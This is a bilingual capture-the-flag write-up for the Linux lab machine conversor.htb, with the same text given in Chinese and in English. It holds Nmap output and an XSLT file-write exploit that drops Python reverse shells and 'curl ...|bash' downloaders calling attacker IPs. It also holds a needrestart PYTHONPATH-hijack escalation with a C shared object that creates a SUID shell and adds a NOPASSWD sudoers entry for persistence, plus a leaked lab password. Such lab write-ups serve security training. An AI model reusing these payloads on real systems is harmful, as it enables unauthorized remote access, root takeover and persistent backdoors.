本文介绍了如何通过在Linux系统上利用漏洞获取访问权限的过程。通过查看Web代码发现XSLT未安全设置,攻击者能够上传恶意Python脚本以获得初步控制。接着,通过获取SSH凭据和利用特定的Python库,攻击者可以进一步提升权限。文中详细描述了使用Nmap进行端口扫描、识别服务,以及构造和上传恶意负载的步骤,最终实现从普通用户提升到root用户的过程。 This article describes the process of gaining access by exploiting vulnerabilities on a Linux system. By reviewing the web code, it was discovered that XSLT was not securely configured, allowing attackers to upload a malicious Python script to gain initial control. Subsequently, by obtaining SSH credentials and leveraging a specific Python library, attackers could further escalate privileges. The article details the steps of using Nmap for port scanning, identifying services, and constructing and uploading malicious payloads, ultimately achieving the escalation from a regular user to root.

OS:Linux

Easy

Foothold:
浏览Web---发现源代码---查看源代码发现xslt未安全设置---上传xslt获得Foothold
PrivEsc:
在users.db发现ssh凭据---sudo发现needrestart---查询网站就可升级权限

Recon

# Nmap 7.95 scan initiated Sat Nov 29 02:04:36 2025 as: /usr/lib/nmap/nmap --open -A -Pn -T4 -oN nmap_scan.txt 10.10.11.92
Nmap scan report for 10.10.11.92
Host is up (2.1s latency).
Not shown: 953 closed tcp ports (reset), 45 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   686.14 ms 10.10.16.1
2   76.71 ms  10.10.11.92

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 29 02:06:17 2025 -- 1 IP address (1 host up) scanned in 100.77 seconds

Web

/about中下载源码

发现xslt没有设置安全过滤。存在漏洞

并且发现数据库

image

Foothold

image

我们发现系统每分钟会运行目录/var/www/conversor.htb/scripts/的所有.py文件。

攻击思路:上传.py文件到/var/www/conversor.htb/scripts/

上传payload

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/shell1_adwasdawdasdawd.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.62",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>
其他payload
import os; os.system("curl 10.10.16.62:8000/shell.sh|bash")
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:shell="http://exslt.org/common"
    extension-element-prefixes="shell">

    <xsl:template match="/">
        <shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system("curl 10.10.16.62:8000/shell.sh|bash")
        </shell:document>
    </xsl:template>

</xsl:stylesheet>

即可获取www-data的访问权限

访问instance下的数据库user.db可以得到:fismathack:Keepmesafeandwarm

PrivEsc

ssh fismathack@10.10.11.92

image

搜索网页后根据文章可以构造payload:

我们需要构造这样的结构
┌──(kali㉿kali)-[/tmp/needrestart]
└─$ tree .                     
.
├── importlib
│   └── __init__.py
└── main.py

2 directories, 2 files
mkdir -p /tmp/needrestart/importlib
cd /tmp/needrestart
echo -e "while True:\n\tpass" > main.py
cd /tmp/needrestart/importlib
echo 'import os,pty,socket;s=socket.socket();s.connect(("10.10.16.62",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' > __init__.py
sleep 3
export PYTHONPATH=/tmp/needrestart
python3 /tmp/needrestart/main.py &
echo -e 'exploit!!!!!\nplease run nc in attacker and run needrestart as sudo in target'  
其他payload
/* lib.c - Our malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

/* This is a GCC attribute that marks 'a()' as a constructor. */
/* This function will run AUTOMATICALLY when the library is loaded. */
static void a() __attribute__((constructor));

void a() {
    /* Only run if we are root */
    if(geteuid() == 0) { 
        setuid(0);
        setgid(0);
        
        /* The payload:
           1. Copy the bash shell to /tmp/poc
           2. Make /tmp/poc a SUID binary (owned by root, runs as root)
           3. Add a sudoers rule as a backup persistence method
        */
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
        system(shell);
    }
}

gcc -shared -fPIC -o __init__.so lib.c

上传__init__.so到目标后

在目标创建

#!/bin/bash
set -e
cd /tmp

# 1. Create the malicious module directory structure
mkdir -p malicious/importlib

# 2. Download our compiled C payload from our attacker server
#    (Replace 10.10.14.81 with your attacker IP)
curl http://10.10.14.81:8000/__init__.so -o /tmp/malicious/importlib/__init__.so

# 3. Create the "bait" Python script (e.py)
#    This script just loops, waiting for the exploit to work
cat << 'EOF' > /tmp/malicious/e.py
import time
import os

while True:
    try:
        import importlib
    except:
        pass
    
    # When our C payload runs, it creates /tmp/poc
    # This loop waits for that file to exist
    if os.path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        # The C payload also added a sudoers rule.
        # We use that rule to pop our root shell.
        os.system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

# 4. This is the magic!
#    Run the bait script (e.py) with the PYTHONPATH hijacked.
#    This process will just sit here, waiting for needrestart to scan it.
echo "Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell."
cd /tmp/malicious; PYTHONPATH="$PWD" python3 e.py 2>/dev/null

OS: Linux

Easy

Foothold:
Browse the web --- discover source code --- view source code and find xslt not securely set --- upload xslt to gain Foothold
PrivEsc:
Find ssh credentials in users.db --- sudo discovers needrestart --- query website to escalate privileges

Recon

# Nmap 7.95 scan initiated Sat Nov 29 02:04:36 2025 as: /usr/lib/nmap/nmap --open -A -Pn -T4 -oN nmap_scan.txt 10.10.11.92
Nmap scan report for 10.10.11.92
Host is up (2.1s latency).
Not shown: 953 closed tcp ports (reset), 45 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   686.14 ms 10.10.16.1
2   76.71 ms  10.10.11.92

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 29 02:06:17 2025 -- 1 IP address (1 host up) scanned in 100.77 seconds

Web

Download source code from /about

Discovered that xslt is not set with security filtering. Vulnerability exists.

And discovered the database

image

Foothold

image

We discovered that the system runs all .py files in the directory /var/www/conversor.htb/scripts/ every minute.

Attack idea: upload .py file to /var/www/conversor.htb/scripts/

Upload payload

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/shell1_adwasdawdasdawd.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.62",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>
Other payloads
import os; os.system("curl 10.10.16.62:8000/shell.sh|bash")
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:shell="http://exslt.org/common"
    extension-element-prefixes="shell">

    <xsl:template match="/">
        <shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system("curl 10.10.16.62:8000/shell.sh|bash")
        </shell:document>
    </xsl:template>

</xsl:stylesheet>

Then obtain www-data access

Accessing the database user.db under instance yields: fismathack:Keepmesafeandwarm

PrivEsc

ssh fismathack@10.10.11.92

image

After searching the web, according to the article, we can construct the payload:

We need to construct such a structure
┌──(kali㉿kali)-[/tmp/needrestart]
└─$ tree .                     
.
├── importlib
│   └── __init__.py
└── main.py

2 directories, 2 files
mkdir -p /tmp/needrestart/importlib
cd /tmp/needrestart
echo -e "while True:\n\tpass" > main.py
cd /tmp/needrestart/importlib
echo 'import os,pty,socket;s=socket.socket();s.connect(("10.10.16.62",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' > __init__.py
sleep 3
export PYTHONPATH=/tmp/needrestart
python3 /tmp/needrestart/main.py &
echo -e 'exploit!!!!!\nplease run nc in attacker and run needrestart as sudo in target'  
Other payloads
/* lib.c - Our malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

/* This is a GCC attribute that marks 'a()' as a constructor. */
/* This function will run AUTOMATICALLY when the library is loaded. */
static void a() __attribute__((constructor));

void a() {
    /* Only run if we are root */
    if(geteuid() == 0) { 
        setuid(0);
        setgid(0);
        
        /* The payload:
           1. Copy the bash shell to /tmp/poc
           2. Make /tmp/poc a SUID binary (owned by root, runs as root)
           3. Add a sudoers rule as a backup persistence method
        */
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
        system(shell);
    }
}

gcc -shared -fPIC -o __init__.so lib.c

Upload __init__.so to the target afterwards

Create on the target

#!/bin/bash
set -e
cd /tmp

# 1. Create the malicious module directory structure
mkdir -p malicious/importlib

# 2. Download our compiled C payload from our attacker server
#    (Replace 10.10.14.81 with your attacker IP)
curl http://10.10.14.81:8000/__init__.so -o /tmp/malicious/importlib/__init__.so

# 3. Create the "bait" Python script (e.py)
#    This script just loops, waiting for the exploit to work
cat << 'EOF' > /tmp/malicious/e.py
import time
import os

while True:
    try:
        import importlib
    except:
        pass
    
    # When our C payload runs, it creates /tmp/poc
    # This loop waits for that file to exist
    if os.path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        # The C payload also added a sudoers rule.
        # We use that rule to pop our root shell.
        os.system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

# 4. This is the magic!
#    Run the bait script (e.py) with the PYTHONPATH hijacked.
#    This process will just sit here, waiting for needrestart to scan it.
echo "Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell."
cd /tmp/malicious; PYTHONPATH="$PWD" python3 e.py 2>/dev/null